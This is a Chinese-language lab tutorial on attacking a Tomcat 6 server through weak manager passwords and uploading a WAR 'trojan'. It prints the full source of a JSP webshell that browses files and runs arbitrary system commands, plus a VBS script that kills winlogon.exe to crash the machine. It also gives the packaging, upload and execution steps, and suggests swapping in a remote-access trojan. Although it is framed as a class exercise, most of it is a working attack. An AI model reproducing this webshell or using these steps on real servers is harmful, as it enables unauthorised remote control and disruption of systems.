领先的免费Web技术教程,涵盖HTML到ASP.NET

网站首页 > 知识剖析 正文

服务器弱口令漏洞上传木马攻击实验

nixiaole 2024-11-25 15:44:12 知识剖析 29 ℃

欢迎搜索公众号:白帽子左一

每天分享更多黑客技能,工具及体系化视频教程(免费领)

说在前面

早期Tomcat服务器上的管理员后台的密码都过于简单如“admin”,“123456”、如此很容易被攻击者利用,并上传木马到服务器上面、从而感染服务器主机。

实验内容

1、在XP系统上搭建Tomcat服务器平台;
2、在另一台虚拟机上利用弱口令漏洞上传木马程序,使得XP系统中木马。

实验步骤

一、搭建Tomcat服务器平台

1.安装JAVAJDK

环境变量的配置:(这里我的JAVA是按照默认安装地址安装的)

JAVA_HOME:C:\Program Files\Java\jdk1.7.0_79


Path:%JAVA_HOME%\bin


CLASSPATH:.%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tool.jar



输入:javac,检查环境变量配置是否成功。


2.安装Apache-Tomcat服务器

将压缩包解压,把整个文件夹拷贝至C盘。(免安装)

添加环境变量:

TOMCAT_HOME:C:\apache-tomcat-6.0.37


进入bin目录,点击startup.bat或者shutdown.bat可以启动或关闭服务器。

若测试不成功,则需添加完整的环境变量。(可选不是必选)


点击startup.exe,启动服务器,在浏览器中输入:http://127.0.0.1:8080/,

若显示如下界面,则服务器启动成功。


二、登录管理员后台

登录管理员后台需要用户名密码,刚开始未设置,我们要自行设置。


首先查看存放用户名密码的文件:在conf文件夹下的tomcat-users.xml,用记事本打开。


将管理员账号添加进去:

<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status"/>


其中各个rolename的含义:



点击保存后重启服务器,回到登录界面,输入用户名密码,即可进入管理员界面:


三、木马制作



Tomcat只支持war的后缀文件包的上传,因此,必须将jsp木马程序与其他木马一起打包成war包才能上传。


在安装有JDK的操作系统上,将所需要上传的木马放在同一个文件夹中,存放到C盘。


这里用到一个s.jsp的木马程序以及V.vbs病毒程序。

这里s.jsp的代码:


<%@ page contentType="text/html;charset=gb2312"%><%[url=home.php?mod=space&uid=157936]@Page[/url] import="java.io.*" %><%@page import="java.util.*"%><style>td,select,input,body{font-size:9pt;}A { TEXT-DECORATION: none }</style><title>Jsp File Manger Version0.5 --bY 慈勤强 [email]cqq1978@Gmail.com[/email]</title><%!String getDrivers()/**Windows系统上取得可用的所有逻辑盘**/{StringBuffer sb=new StringBuffer("驱动器 : ");File roots[]=File.listRoots();for(int i=0;i<roots.length;i++){sb.append("<a href='?path="+roots[i]+"'>");sb.append(roots[i]+"</a> ");}return sb.toString();}%><%String strThisFile="folder.jsp";request.setCharacterEncoding("gb2312");String strDir = request.getParameter("path"); if(strDir==null||strDir.length()<1){strDir = "c:\\";}StringBuffer sb=new StringBuffer("");StringBuffer sbFile=new StringBuffer("");try{out.println("<table border=1 width='100%' bgcolor='#F1f1f1'><tr><td width='30%'>当前目录:<b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");File objFile = new File(strDir);File list[] = objFile.listFiles();if(objFile.getAbsolutePath().length()>3){sb.append("<tr><td > </td><td><a href='?path="+objFile.getParentFile().getAbsolutePath()+"'>");sb.append("上级目录</a><br>- - - - - - - - - - - </td></tr>\r\n");}for(int i=0;i<list.length;i++){if(list[i].isDirectory()){sb.append("<tr><td > </td><td>");sb.append("<a href='?path="+list[i].getAbsolutePath()+"'>"+list[i].getName()+"</a>");sb.append("</td></tr>");//sb.append("</td></tr></table>\r\n");}else{String strLen="";String strDT="";long lFile=0;lFile=list[i].length(); if(lFile>1000000){lFile=lFile/1000000;strLen="" + lFile + " M";}else if(lFile>1000){lFile=lFile/1000;strLen="" + lFile + " K";}else{strLen="" + lFile + " Byte";}Date dt=new Date(list[i].lastModified());strDT=dt.toLocaleString();sbFile.append("<tr><td>");sbFile.append(""+list[i].getName());sbFile.append("</td><td>");sbFile.append(""+strLen);sbFile.append("</td><td>");sbFile.append(""+strDT);sbFile.append("</td><td>");sbFile.append("<!--修改 删除 下载 复制--> ");sbFile.append("</td></tr>\r\n");//sbFile.append("</td></tr></table>");} }//out.println(sb.toString()+sbFile.toString());}catch(Exception e){out.println("<font color=red>操作失败:"+e.toString()+"</font>");}%> <table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"> <tr><td width="25%" align="center" valign="top"><table width="98%" border="0" cellspacing="0" cellpadding="3"> <%=sb%></tr></table></td><td width="81%" align="center" valign="top"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF"><tr bgcolor="#E7e7e6"><td width="26%">文件名称</td><td width="19%" align="center">文件大小</td><td width="29%" align="center">修改时间</td><td width="26%" align="center">文件操作</td></tr><%=sbFile%><!-- <tr align="center"><td colspan="4"><br>总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font>KB </td></tr>--></table></td></tr></table> <%String strCmd="";String line="";StringBuffer sbCmd=new StringBuffer("");strCmd = request.getParameter("cmd");if(strCmd!=null){try{//out.println(strCmd);Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){sbCmd.append(line+"\r\n");}}catch(Exception e){System.out.println(e.toString());}} %><form name="cmd" action="" method="post"><input type="text" name="cmd" value="<%=strCmd%>" size=50><input type=submit name=submit value="执行"></form><%if(sbCmd!=null && sbCmd.toString().trim().equals("")==false){%><TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA><%}%>


这里V.vbs的代码:


if MsgBox("你是在上网络信息安全的课吗?",vbYesNo,"提示")=vbyes thenmsgbox "你真是在上网络安全课啊,这么好丫!"elsemsgbox "还不承认? 作为惩罚,折腾你一下",64,"严重警告!!!!!!"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if

运行cmd,使用cd命令将目录切换到刚刚存放的c文件夹下:


使用命令将木马程序打包:


jar cvf shell.war *


若提示jar不是内部命令,请回到JDK安装步骤查看环境变量是否配置正确。


成功时的命令提示如下:

四、漏洞入侵


访问目标网站

使用另一台电脑输入以下网址:


http://192.168.41.131:8080/(对应IP地址要改)


访问成功将出现以下界面:


弱口令扫描

打开Apache Tomcat crack软件,界面如下:


设置扫描网段,点击add按钮添加;


点击start按钮开始扫描。


扫描成功将获得口令和密码。



上传木马

利用前面扫描到的口令密码登录管理员网页,将之前做好的war包上传至服务器:





查看木马

在地址栏中输入网址:


http://192.168.41.131:8080/shell/s.jsp


即可看到对方电脑中所有的文件目录:

运行木马

找出之前一并上传的木马文件V.vbs,利用下面的执行功能让其在被害者电脑上运行:


c:\apache-tomcat-6.0.37\webapps\shell\V.vbs -install


此时在被攻击者电脑上会自运行病毒程序,即中病毒了。


也可将病毒用灰鸽子木马替换实现远程控制。

shang'c




点击“否”的话要小心哦,因为电脑会变成“蓝屏”,不过不用怕,其实就蓝屏一会儿就帮你重启啦~


不相信可以返回去看V.vbs的代码哦~

作者:Johnson666

转载自:http://r6e.cn/m3w56

Tags:

最近发表
标签列表